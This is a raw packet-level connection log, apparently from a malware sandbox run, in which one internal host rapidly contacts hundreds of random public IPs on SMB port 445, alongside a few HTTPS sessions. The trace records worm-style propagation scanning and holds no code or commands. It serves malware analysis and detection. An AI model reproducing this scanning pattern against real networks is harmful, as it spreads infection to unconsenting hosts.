Jul 20, 2022 13:24:38.683692932 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.685383081 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.685416937 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.685528040 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.685547113 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.685594082 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.686161995 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.686297894 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.687279940 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.687308073 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.687381983 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.687396049 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.687436104 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.687477112 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.687541008 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.703002930 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.703308105 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.704552889 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.704571962 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.825387955 CEST	50656	445	192.168.2.7	64.106.200.218
Jul 20, 2022 13:24:39.079746008 CEST	50657	445	192.168.2.7	185.15.42.2
Jul 20, 2022 13:24:39.080487967 CEST	50658	445	192.168.2.7	170.173.113.63
Jul 20, 2022 13:24:39.093713999 CEST	50659	445	192.168.2.7	56.70.91.105
Jul 20, 2022 13:24:39.093744993 CEST	50660	445	192.168.2.7	12.239.114.59
Jul 20, 2022 13:24:39.093853951 CEST	50661	445	192.168.2.7	124.169.143.156
Jul 20, 2022 13:24:39.093919039 CEST	50662	445	192.168.2.7	218.52.24.178
Jul 20, 2022 13:24:39.093966007 CEST	50663	445	192.168.2.7	107.39.1.82
Jul 20, 2022 13:24:39.094043016 CEST	50665	445	192.168.2.7	51.46.82.254
Jul 20, 2022 13:24:39.094126940 CEST	50664	445	192.168.2.7	165.144.221.43
Jul 20, 2022 13:24:39.094126940 CEST	50666	445	192.168.2.7	63.212.43.130
Jul 20, 2022 13:24:39.094171047 CEST	50667	445	192.168.2.7	44.197.246.33
Jul 20, 2022 13:24:39.127203941 CEST	445	50657	185.15.42.2	192.168.2.7
Jul 20, 2022 13:24:39.169178009 CEST	50668	445	192.168.2.7	219.161.11.13
Jul 20, 2022 13:24:39.169783115 CEST	50669	445	192.168.2.7	158.27.216.188
Jul 20, 2022 13:24:39.171413898 CEST	50670	445	192.168.2.7	53.52.33.129
Jul 20, 2022 13:24:39.180418968 CEST	50671	445	192.168.2.7	165.247.13.67
Jul 20, 2022 13:24:39.181869030 CEST	50673	445	192.168.2.7	205.212.28.96
Jul 20, 2022 13:24:39.181900024 CEST	50672	445	192.168.2.7	154.202.51.77
Jul 20, 2022 13:24:39.182027102 CEST	50674	445	192.168.2.7	117.96.232.218
Jul 20, 2022 13:24:39.182086945 CEST	50676	445	192.168.2.7	54.85.251.32
Jul 20, 2022 13:24:39.182099104 CEST	50675	445	192.168.2.7	49.189.113.106
Jul 20, 2022 13:24:39.182190895 CEST	50677	445	192.168.2.7	122.223.27.194
Jul 20, 2022 13:24:39.183001041 CEST	50678	445	192.168.2.7	112.24.104.70
Jul 20, 2022 13:24:39.247500896 CEST	50679	445	192.168.2.7	112.55.90.253
Jul 20, 2022 13:24:39.519987106 CEST	50680	445	192.168.2.7	81.48.123.224
Jul 20, 2022 13:24:39.716063023 CEST	50681	445	192.168.2.7	15.196.213.138
Jul 20, 2022 13:24:39.730714083 CEST	50657	445	192.168.2.7	185.15.42.2
Jul 20, 2022 13:24:39.776580095 CEST	445	50657	185.15.42.2	192.168.2.7
Jul 20, 2022 13:24:39.967397928 CEST	50682	445	192.168.2.7	131.17.214.187
Jul 20, 2022 13:24:40.142254114 CEST	50683	445	192.168.2.7	24.36.64.216
Jul 20, 2022 13:24:40.153815031 CEST	50684	445	192.168.2.7	185.15.42.3
Jul 20, 2022 13:24:40.200330019 CEST	50685	445	192.168.2.7	37.134.209.237
Jul 20, 2022 13:24:40.218494892 CEST	50686	445	192.168.2.7	81.118.161.78
Jul 20, 2022 13:24:40.234091043 CEST	50687	445	192.168.2.7	170.65.82.157
Jul 20, 2022 13:24:40.235532999 CEST	50688	445	192.168.2.7	94.139.120.77
Jul 20, 2022 13:24:40.235965014 CEST	50689	445	192.168.2.7	78.64.184.151
Jul 20, 2022 13:24:40.236054897 CEST	50690	445	192.168.2.7	16.240.238.172
Jul 20, 2022 13:24:40.236172915 CEST	50691	445	192.168.2.7	82.9.230.76
Jul 20, 2022 13:24:40.236274004 CEST	50692	445	192.168.2.7	202.142.56.46
Jul 20, 2022 13:24:40.236373901 CEST	50693	445	192.168.2.7	164.136.235.178
Jul 20, 2022 13:24:40.236460924 CEST	50694	445	192.168.2.7	185.18.5.239
Jul 20, 2022 13:24:40.297941923 CEST	50695	445	192.168.2.7	67.77.151.191
Jul 20, 2022 13:24:40.298280954 CEST	50697	445	192.168.2.7	211.80.43.36
Jul 20, 2022 13:24:40.298281908 CEST	50696	445	192.168.2.7	17.180.101.136
Jul 20, 2022 13:24:40.298351049 CEST	50698	445	192.168.2.7	113.239.97.76
Jul 20, 2022 13:24:40.298404932 CEST	50699	445	192.168.2.7	135.18.118.61
Jul 20, 2022 13:24:40.298490047 CEST	50700	445	192.168.2.7	39.108.151.234
Jul 20, 2022 13:24:40.298507929 CEST	50701	445	192.168.2.7	18.236.245.179
Jul 20, 2022 13:24:40.298593044 CEST	50702	445	192.168.2.7	11.181.110.69
Jul 20, 2022 13:24:40.298634052 CEST	50703	445	192.168.2.7	37.177.238.179
Jul 20, 2022 13:24:40.298732042 CEST	50704	445	192.168.2.7	110.28.26.1
Jul 20, 2022 13:24:40.298747063 CEST	50705	445	192.168.2.7	61.188.63.248
Jul 20, 2022 13:24:40.375703096 CEST	50706	445	192.168.2.7	142.101.233.133
Jul 20, 2022 13:24:40.637842894 CEST	50707	445	192.168.2.7	70.176.225.134
Jul 20, 2022 13:24:40.699542999 CEST	50331	445	192.168.2.7	93.22.219.1
Jul 20, 2022 13:24:40.699590921 CEST	50329	445	192.168.2.7	93.22.219.99
Jul 20, 2022 13:24:40.841176033 CEST	50708	445	192.168.2.7	96.27.91.29
Jul 20, 2022 13:24:41.091339111 CEST	50709	445	192.168.2.7	75.160.224.64
Jul 20, 2022 13:24:41.232752085 CEST	50710	445	192.168.2.7	185.15.42.4
Jul 20, 2022 13:24:41.249591112 CEST	50711	445	192.168.2.7	185.163.152.174
Jul 20, 2022 13:24:41.325598955 CEST	50712	445	192.168.2.7	143.114.95.195
Jul 20, 2022 13:24:41.341305971 CEST	50713	445	192.168.2.7	145.178.117.49
Jul 20, 2022 13:24:41.357934952 CEST	50714	445	192.168.2.7	151.82.173.111
Jul 20, 2022 13:24:41.359671116 CEST	50715	445	192.168.2.7	120.108.20.92
Jul 20, 2022 13:24:41.360620022 CEST	50716	445	192.168.2.7	95.49.62.91
Jul 20, 2022 13:24:41.363037109 CEST	50717	445	192.168.2.7	157.202.175.122
Jul 20, 2022 13:24:41.364491940 CEST	50718	445	192.168.2.7	190.102.230.186
Jul 20, 2022 13:24:41.365257025 CEST	50719	445	192.168.2.7	83.174.20.241
Jul 20, 2022 13:24:41.366018057 CEST	50720	445	192.168.2.7	58.139.247.13
Jul 20, 2022 13:24:41.366689920 CEST	50721	445	192.168.2.7	165.87.1.101
Jul 20, 2022 13:24:41.407183886 CEST	50723	445	192.168.2.7	68.33.94.66
Jul 20, 2022 13:24:41.407538891 CEST	50724	445	192.168.2.7	90.227.19.76
Jul 20, 2022 13:24:41.407541037 CEST	50722	445	192.168.2.7	106.235.231.212
Jul 20, 2022 13:24:41.407586098 CEST	50725	445	192.168.2.7	57.192.69.244
Jul 20, 2022 13:24:41.407679081 CEST	50727	445	192.168.2.7	14.190.235.16
Jul 20, 2022 13:24:41.407690048 CEST	50726	445	192.168.2.7	88.72.144.213
Jul 20, 2022 13:24:41.407782078 CEST	50728	445	192.168.2.7	84.204.169.96
Jul 20, 2022 13:24:41.407892942 CEST	50730	445	192.168.2.7	112.65.19.114
Jul 20, 2022 13:24:41.407912970 CEST	50729	445	192.168.2.7	186.157.111.27
Jul 20, 2022 13:24:41.407999992 CEST	50731	445	192.168.2.7	53.37.113.64
Jul 20, 2022 13:24:41.408003092 CEST	50732	445	192.168.2.7	83.60.54.122
Jul 20, 2022 13:24:41.503526926 CEST	50733	445	192.168.2.7	186.107.141.180
Jul 20, 2022 13:24:41.763026953 CEST	50734	445	192.168.2.7	184.150.0.161
Jul 20, 2022 13:24:41.966686010 CEST	50735	445	192.168.2.7	52.208.134.161
Jul 20, 2022 13:24:42.170254946 CEST	50736	445	192.168.2.7	180.13.88.98
Jul 20, 2022 13:24:42.218180895 CEST	50737	445	192.168.2.7	156.85.22.93
Jul 20, 2022 13:24:42.311405897 CEST	50738	445	192.168.2.7	185.15.42.5
Jul 20, 2022 13:24:42.373671055 CEST	50739	445	192.168.2.7	119.146.17.50
Jul 20, 2022 13:24:42.450582981 CEST	50740	445	192.168.2.7	105.249.112.85
Jul 20, 2022 13:24:42.470772028 CEST	50741	445	192.168.2.7	152.98.35.97
Jul 20, 2022 13:24:42.481758118 CEST	50742	445	192.168.2.7	57.110.143.100
Jul 20, 2022 13:24:42.482502937 CEST	50743	445	192.168.2.7	190.102.24.126
Jul 20, 2022 13:24:42.483234882 CEST	50744	445	192.168.2.7	64.158.183.26
Jul 20, 2022 13:24:42.483982086 CEST	50745	445	192.168.2.7	122.128.7.75
Jul 20, 2022 13:24:42.485780001 CEST	50746	445	192.168.2.7	193.78.193.192
Jul 20, 2022 13:24:42.485879898 CEST	50747	445	192.168.2.7	220.122.127.199
Jul 20, 2022 13:24:42.485903978 CEST	50748	445	192.168.2.7	122.66.13.0
Jul 20, 2022 13:24:42.486016989 CEST	50749	445	192.168.2.7	162.192.235.70
Jul 20, 2022 13:24:42.548079967 CEST	50750	445	192.168.2.7	60.38.52.97
Jul 20, 2022 13:24:42.549654961 CEST	50751	445	192.168.2.7	181.124.191.17
Jul 20, 2022 13:24:42.549791098 CEST	50752	445	192.168.2.7	174.237.32.107
Jul 20, 2022 13:24:42.549907923 CEST	50753	445	192.168.2.7	189.212.243.61
Jul 20, 2022 13:24:42.550025940 CEST	50754	445	192.168.2.7	218.168.40.177
Jul 20, 2022 13:24:42.550143003 CEST	50755	445	192.168.2.7	208.14.201.86
Jul 20, 2022 13:24:42.550256968 CEST	50756	445	192.168.2.7	68.237.174.198
Jul 20, 2022 13:24:42.550363064 CEST	50757	445	192.168.2.7	90.201.3.129
Jul 20, 2022 13:24:42.550455093 CEST	50758	445	192.168.2.7	137.241.72.250
Jul 20, 2022 13:24:42.550548077 CEST	50759	445	192.168.2.7	13.197.94.53
Jul 20, 2022 13:24:42.550636053 CEST	50760	445	192.168.2.7	202.184.46.15
Jul 20, 2022 13:24:42.625976086 CEST	50761	445	192.168.2.7	37.2.4.189
Jul 20, 2022 13:24:42.732017994 CEST	445	50756	68.237.174.198	192.168.2.7
Jul 20, 2022 13:24:42.895946026 CEST	50762	445	192.168.2.7	102.195.82.181
Jul 20, 2022 13:24:43.096986055 CEST	50763	445	192.168.2.7	115.163.14.166
Jul 20, 2022 13:24:43.199774027 CEST	50332	445	192.168.2.7	93.22.219.1
Jul 20, 2022 13:24:43.294286013 CEST	50764	445	192.168.2.7	85.30.35.239
Jul 20, 2022 13:24:43.346748114 CEST	50765	445	192.168.2.7	77.33.200.43
Jul 20, 2022 13:24:43.390214920 CEST	50766	445	192.168.2.7	185.15.42.6
Jul 20, 2022 13:24:43.402916908 CEST	50756	445	192.168.2.7	68.237.174.198
Jul 20, 2022 13:24:43.501569033 CEST	50767	445	192.168.2.7	6.200.98.69
Jul 20, 2022 13:24:43.575648069 CEST	50768	445	192.168.2.7	155.153.119.100
Jul 20, 2022 13:24:43.577047110 CEST	50769	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:43.577078104 CEST	443	50769	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:43.577157021 CEST	50769	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:43.577620983 CEST	50769	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:43.577636003 CEST	443	50769	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:43.579838991 CEST	445	50756	68.237.174.198	192.168.2.7
Jul 20, 2022 13:24:43.591063976 CEST	50770	445	192.168.2.7	78.104.250.79
Jul 20, 2022 13:24:43.611135006 CEST	50771	445	192.168.2.7	87.118.204.154
Jul 20, 2022 13:24:43.614109039 CEST	50772	445	192.168.2.7	135.7.97.10
Jul 20, 2022 13:24:43.614125967 CEST	50773	445	192.168.2.7	20.1.12.210
Jul 20, 2022 13:24:43.614393950 CEST	50775	445	192.168.2.7	208.118.242.196
Jul 20, 2022 13:24:43.614501953 CEST	50777	445	192.168.2.7	192.68.165.133
Jul 20, 2022 13:24:43.614501953 CEST	50774	445	192.168.2.7	128.169.0.71
Jul 20, 2022 13:24:43.614526033 CEST	50776	445	192.168.2.7	18.193.82.224
Jul 20, 2022 13:24:43.614594936 CEST	50778	445	192.168.2.7	58.54.251.174
Jul 20, 2022 13:24:43.670171022 CEST	50779	445	192.168.2.7	52.38.101.219
Jul 20, 2022 13:24:43.694555998 CEST	50780	445	192.168.2.7	87.74.75.25
Jul 20, 2022 13:24:43.698659897 CEST	50781	445	192.168.2.7	166.98.106.212
Jul 20, 2022 13:24:43.698842049 CEST	50782	445	192.168.2.7	91.157.87.122
Jul 20, 2022 13:24:43.698949099 CEST	50783	445	192.168.2.7	116.32.210.54
Jul 20, 2022 13:24:43.699104071 CEST	50784	445	192.168.2.7	32.231.97.119
Jul 20, 2022 13:24:43.699218035 CEST	50785	445	192.168.2.7	56.119.101.136
Jul 20, 2022 13:24:43.699374914 CEST	50786	445	192.168.2.7	43.245.213.172
Jul 20, 2022 13:24:43.699493885 CEST	50787	445	192.168.2.7	134.71.122.158
Jul 20, 2022 13:24:43.699620008 CEST	50788	445	192.168.2.7	215.222.184.75
Jul 20, 2022 13:24:43.700021982 CEST	50789	445	192.168.2.7	98.237.44.239
Jul 20, 2022 13:24:43.747971058 CEST	50790	445	192.168.2.7	45.156.57.50
Jul 20, 2022 13:24:43.763109922 CEST	443	50769	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:43.763210058 CEST	50769	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:43.775408983 CEST	50769	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:43.775424004 CEST	443	50769	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:43.775857925 CEST	443	50769	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:43.832699060 CEST	50769	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:43.876509905 CEST	443	50769	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:43.924663067 CEST	443	50769	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:43.924707890 CEST	443	50769	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:43.924721003 CEST	443	50769	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:43.924751043 CEST	443	50769	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:43.924776077 CEST	443	50769	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:43.924788952 CEST	443	50769	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:43.924838066 CEST	50769	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:43.924854994 CEST	443	50769	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:43.924943924 CEST	50769	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:43.925581932 CEST	443	50769	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:43.925601959 CEST	443	50769	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:43.925632000 CEST	443	50769	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:43.925668001 CEST	443	50769	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:43.925697088 CEST	443	50769	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:43.925698042 CEST	50769	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:43.925714016 CEST	443	50769	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:43.925812960 CEST	50769	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:43.925812960 CEST	443	50769	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:43.925865889 CEST	50769	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:43.943118095 CEST	50769	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:43.943146944 CEST	443	50769	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:43.943161011 CEST	50769	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:43.943169117 CEST	443	50769	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:44.013921976 CEST	50791	445	192.168.2.7	201.166.246.72
Jul 20, 2022 13:24:44.200717926 CEST	50792	445	192.168.2.7	191.129.18.138
Jul 20, 2022 13:24:44.230670929 CEST	50793	445	192.168.2.7	50.251.239.9
Jul 20, 2022 13:24:44.419837952 CEST	50794	445	192.168.2.7	46.57.181.161
Jul 20, 2022 13:24:44.477276087 CEST	50795	445	192.168.2.7	195.4.166.51
Jul 20, 2022 13:24:44.477363110 CEST	50796	445	192.168.2.7	185.15.42.7
Jul 20, 2022 13:24:44.632702112 CEST	50797	445	192.168.2.7	65.76.139.115
Jul 20, 2022 13:24:44.706249952 CEST	50798	445	192.168.2.7	222.27.188.199
Jul 20, 2022 13:24:44.716624975 CEST	50799	445	192.168.2.7	49.212.191.28
Jul 20, 2022 13:24:44.731813908 CEST	50800	445	192.168.2.7	28.15.40.101
Jul 20, 2022 13:24:44.732342958 CEST	50801	445	192.168.2.7	70.11.197.184
Jul 20, 2022 13:24:44.732867002 CEST	50802	445	192.168.2.7	187.106.253.43
Jul 20, 2022 13:24:44.733412981 CEST	50803	445	192.168.2.7	172.11.125.102
Jul 20, 2022 13:24:44.733942986 CEST	50804	445	192.168.2.7	141.224.128.245
Jul 20, 2022 13:24:44.734503031 CEST	50805	445	192.168.2.7	8.26.145.228
Jul 20, 2022 13:24:44.735003948 CEST	50806	445	192.168.2.7	130.95.221.219
Jul 20, 2022 13:24:44.735524893 CEST	50807	445	192.168.2.7	44.95.126.211
Jul 20, 2022 13:24:44.794389009 CEST	50808	445	192.168.2.7	68.103.197.250
Jul 20, 2022 13:24:44.810563087 CEST	50809	445	192.168.2.7	24.251.248.210
Jul 20, 2022 13:24:44.825550079 CEST	50810	445	192.168.2.7	8.160.121.59
Jul 20, 2022 13:24:44.826287031 CEST	50811	445	192.168.2.7	93.83.108.199
Jul 20, 2022 13:24:44.826991081 CEST	50812	445	192.168.2.7	27.117.32.4
Jul 20, 2022 13:24:44.830219030 CEST	50813	445	192.168.2.7	184.95.25.168
Jul 20, 2022 13:24:44.830560923 CEST	50814	445	192.168.2.7	125.1.164.203
Jul 20, 2022 13:24:44.830641985 CEST	50815	445	192.168.2.7	95.27.143.91
Jul 20, 2022 13:24:44.830776930 CEST	50816	445	192.168.2.7	51.7.219.20
Jul 20, 2022 13:24:44.830872059 CEST	50817	445	192.168.2.7	199.192.87.79
Jul 20, 2022 13:24:44.830964088 CEST	50818	445	192.168.2.7	169.131.36.221
Jul 20, 2022 13:24:44.873039961 CEST	50819	445	192.168.2.7	122.204.158.247
Jul 20, 2022 13:24:44.926278114 CEST	50820	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:44.926373959 CEST	443	50820	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:44.926615000 CEST	50820	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:44.927484989 CEST	50820	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:44.927525043 CEST	443	50820	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:44.996640921 CEST	445	50792	191.129.18.138	192.168.2.7
Jul 20, 2022 13:24:45.004529953 CEST	445	50792	191.129.18.138	192.168.2.7
Jul 20, 2022 13:24:45.144578934 CEST	50821	445	192.168.2.7	7.79.127.165
Jul 20, 2022 13:24:45.329797029 CEST	443	50820	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:45.330001116 CEST	50820	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:45.339700937 CEST	50822	445	192.168.2.7	8.99.189.54
Jul 20, 2022 13:24:45.341490030 CEST	50823	445	192.168.2.7	94.21.207.150
Jul 20, 2022 13:24:45.346560001 CEST	50820	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:45.346601009 CEST	443	50820	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:45.346976995 CEST	443	50820	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:45.348690033 CEST	50820	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:45.392508030 CEST	443	50820	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:45.392528057 CEST	445	50823	94.21.207.150	192.168.2.7
Jul 20, 2022 13:24:45.545387983 CEST	50824	445	192.168.2.7	204.222.158.205
Jul 20, 2022 13:24:45.545455933 CEST	50825	445	192.168.2.7	185.15.42.8
Jul 20, 2022 13:24:45.594573021 CEST	50826	445	192.168.2.7	87.31.121.0
Jul 20, 2022 13:24:45.611426115 CEST	443	50820	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:45.611459017 CEST	443	50820	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:45.611476898 CEST	443	50820	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:45.611758947 CEST	50820	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:45.611783028 CEST	443	50820	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:45.612271070 CEST	50820	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:45.613760948 CEST	443	50820	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:45.613792896 CEST	443	50820	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:45.613910913 CEST	50820	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:45.613939047 CEST	443	50820	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:45.614023924 CEST	50820	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:45.614403963 CEST	443	50820	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:45.614501953 CEST	443	50820	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:45.614506960 CEST	50820	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:45.614559889 CEST	50820	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:45.631599903 CEST	50820	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:45.631632090 CEST	443	50820	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:45.631645918 CEST	50820	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:45.631656885 CEST	443	50820	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:45.690406084 CEST	50827	443	192.168.2.7	20.199.120.151
Jul 20, 2022 13:24:45.690454006 CEST	443	50827	20.199.120.151	192.168.2.7
Jul 20, 2022 13:24:45.690568924 CEST	50827	443	192.168.2.7	20.199.120.151
Jul 20, 2022 13:24:45.691289902 CEST	50827	443	192.168.2.7	20.199.120.151
Jul 20, 2022 13:24:45.691317081 CEST	443	50827	20.199.120.151	192.168.2.7
Jul 20, 2022 13:24:45.758618116 CEST	50828	445	192.168.2.7	99.254.242.143
Jul 20, 2022 13:24:45.804757118 CEST	443	50827	20.199.120.151	192.168.2.7
Jul 20, 2022 13:24:45.806452036 CEST	50827	443	192.168.2.7	20.199.120.151
Jul 20, 2022 13:24:45.808326960 CEST	50827	443	192.168.2.7	20.199.120.151
Jul 20, 2022 13:24:45.808337927 CEST	443	50827	20.199.120.151	192.168.2.7
Jul 20, 2022 13:24:45.808590889 CEST	443	50827	20.199.120.151	192.168.2.7
Jul 20, 2022 13:24:45.810187101 CEST	50827	443	192.168.2.7	20.199.120.151
Jul 20, 2022 13:24:45.810249090 CEST	50827	443	192.168.2.7	20.199.120.151
Jul 20, 2022 13:24:45.810256958 CEST	443	50827	20.199.120.151	192.168.2.7
Jul 20, 2022 13:24:45.810424089 CEST	50827	443	192.168.2.7	20.199.120.151
Jul 20, 2022 13:24:45.829297066 CEST	50829	445	192.168.2.7	62.200.66.178
Jul 20, 2022 13:24:45.840114117 CEST	443	50827	20.199.120.151	192.168.2.7
Jul 20, 2022 13:24:45.840193033 CEST	443	50827	20.199.120.151	192.168.2.7
Jul 20, 2022 13:24:45.840277910 CEST	50827	443	192.168.2.7	20.199.120.151
Jul 20, 2022 13:24:45.840435028 CEST	50827	443	192.168.2.7	20.199.120.151
Jul 20, 2022 13:24:45.840451956 CEST	443	50827	20.199.120.151	192.168.2.7
Jul 20, 2022 13:24:45.842837095 CEST	50830	445	192.168.2.7	219.107.83.174
Jul 20, 2022 13:24:45.880542994 CEST	50831	445	192.168.2.7	206.87.120.56
Jul 20, 2022 13:24:45.881354094 CEST	50832	445	192.168.2.7	139.10.228.35
Jul 20, 2022 13:24:45.882061005 CEST	50833	445	192.168.2.7	196.214.9.43
Jul 20, 2022 13:24:45.882776976 CEST	50834	445	192.168.2.7	19.19.205.70
Jul 20, 2022 13:24:45.883488894 CEST	50835	445	192.168.2.7	149.193.237.23
Jul 20, 2022 13:24:45.884217024 CEST	50836	445	192.168.2.7	29.28.78.172
Jul 20, 2022 13:24:45.884890079 CEST	50837	445	192.168.2.7	190.172.64.49
Jul 20, 2022 13:24:45.885607958 CEST	50838	445	192.168.2.7	77.1.76.145
Jul 20, 2022 13:24:45.903136015 CEST	50823	445	192.168.2.7	94.21.207.150
Jul 20, 2022 13:24:45.920794010 CEST	50839	445	192.168.2.7	221.41.95.25
Jul 20, 2022 13:24:45.945324898 CEST	50840	445	192.168.2.7	32.6.95.22
Jul 20, 2022 13:24:45.951246023 CEST	50841	445	192.168.2.7	141.35.40.75
Jul 20, 2022 13:24:45.952090025 CEST	50842	445	192.168.2.7	186.222.106.71
Jul 20, 2022 13:24:45.953197002 CEST	50843	445	192.168.2.7	118.6.103.186
Jul 20, 2022 13:24:45.953979969 CEST	50844	445	192.168.2.7	77.13.212.84
Jul 20, 2022 13:24:45.954813957 CEST	50845	445	192.168.2.7	210.199.17.176
Jul 20, 2022 13:24:45.955717087 CEST	50846	445	192.168.2.7	162.241.249.180
Jul 20, 2022 13:24:45.955940962 CEST	445	50823	94.21.207.150	192.168.2.7
Jul 20, 2022 13:24:45.956729889 CEST	50847	445	192.168.2.7	148.95.49.19
Jul 20, 2022 13:24:45.958117962 CEST	50848	445	192.168.2.7	172.1.245.18
Jul 20, 2022 13:24:45.959760904 CEST	50849	445	192.168.2.7	78.102.238.123
Jul 20, 2022 13:24:45.961165905 CEST	50850	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:45.961200953 CEST	443	50850	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:45.961319923 CEST	50850	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:45.964557886 CEST	50850	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:45.964576960 CEST	443	50850	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:45.997566938 CEST	50851	445	192.168.2.7	196.184.16.82
Jul 20, 2022 13:24:46.107151031 CEST	445	50846	162.241.249.180	192.168.2.7
Jul 20, 2022 13:24:46.216542006 CEST	50852	445	192.168.2.7	93.22.219.1
Jul 20, 2022 13:24:46.220014095 CEST	50853	445	192.168.2.7	70.114.112.93
Jul 20, 2022 13:24:46.250536919 CEST	445	50852	93.22.219.1	192.168.2.7
Jul 20, 2022 13:24:46.250727892 CEST	50852	445	192.168.2.7	93.22.219.1
Jul 20, 2022 13:24:46.251230955 CEST	50852	445	192.168.2.7	93.22.219.1
Jul 20, 2022 13:24:46.263592005 CEST	50854	445	192.168.2.7	3.81.74.37
Jul 20, 2022 13:24:46.294790983 CEST	443	50850	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:46.294996977 CEST	50850	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:46.304557085 CEST	50850	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:46.304578066 CEST	443	50850	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:46.305011034 CEST	443	50850	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:46.306226015 CEST	50850	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:46.348501921 CEST	443	50850	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:46.450884104 CEST	50855	445	192.168.2.7	80.27.183.49
Jul 20, 2022 13:24:46.467894077 CEST	50856	445	192.168.2.7	74.42.228.9
Jul 20, 2022 13:24:46.496939898 CEST	50852	445	192.168.2.7	93.22.219.1
Jul 20, 2022 13:24:46.518136024 CEST	443	50850	52.242.101.226	192.168.2.7
